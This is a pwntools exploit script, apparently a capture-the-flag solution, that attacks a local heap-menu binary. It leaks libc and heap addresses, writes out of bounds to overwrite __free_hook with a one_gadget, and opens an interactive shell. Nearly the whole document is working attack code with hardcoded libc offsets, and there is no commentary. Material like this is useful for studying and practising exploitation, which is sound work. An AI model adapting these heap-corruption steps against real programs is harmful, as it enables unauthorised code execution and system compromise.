1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99
| from pwn import *
p = process('./binary') e = ELF('./binary')
context.log_level = 'DEBUG'
def allocMem(idx,size): p.sendlineafter('>\n','1') p.sendlineafter('index:\n',str(idx)) p.sendlineafter('size?\n',str(size))
def printMem(idx): p.sendlineafter('>\n','2') p.sendlineafter('index:\n',str(idx))
def fillMem(idx,offset,data): p.sendlineafter('>\n','3') p.sendlineafter('index:\n',str(idx)) p.sendlineafter('in:\n',str(offset)) p.sendafter('content:\n',data)
def freeMem(idx): p.sendlineafter('>\n','4') p.sendlineafter('index:\n',str(idx))
pause()
allocMem(0,0x20) allocMem(1,0x409) allocMem(2,0x20)
freeMem(1)
for i in range(0,41,8): fillMem(0,i,'PPPPPPPP')
printMem(0)
leak = u64(p.recvuntil('\x0a')[-7:-1]+b'\x00\x00')
libcbase = leak - 0x3ebca0 log.info("leak: "+hex(leak)) log.info("libcbase: " + hex(libcbase))
oneshot = 0x10a41c + libcbase oneshot = 0x4f432 + libcbase
fillMem(0,40,p64(0x421))
allocMem(3,0x20) allocMem(4,0x20) allocMem(5,0x20)
freeMem(4) freeMem(3)
fillMem(0,40,'AAAAAAAC')
printMem(0) p.recvuntil('C') leak = p.recvuntil('\x0a')[:-1] leak = u64(leak+b'\x00'*(8-len(leak))) log.info("heap: " +hex(leak))
fillMem(0,40,p64(0x31)) heapbase = leak - 0xc0 + 0x50
free_hook = libcbase + 0x3ed8e8
log.info("free_hook: " + hex(free_hook))
''' fillMem(2,40,p64(0xffffffffffffffff))
size = (free_hook - 0x20 - 0x10 - topchunk)
allocMem(9,str(size)) pause() allocMem(4,0x200) fillMem(4,0,'AAAAAAAAA')
pause() printMem(1) ''' pause() fillMem(0,(free_hook-heapbase-0x10),p64(oneshot))
freeMem(0) p.interactive()
|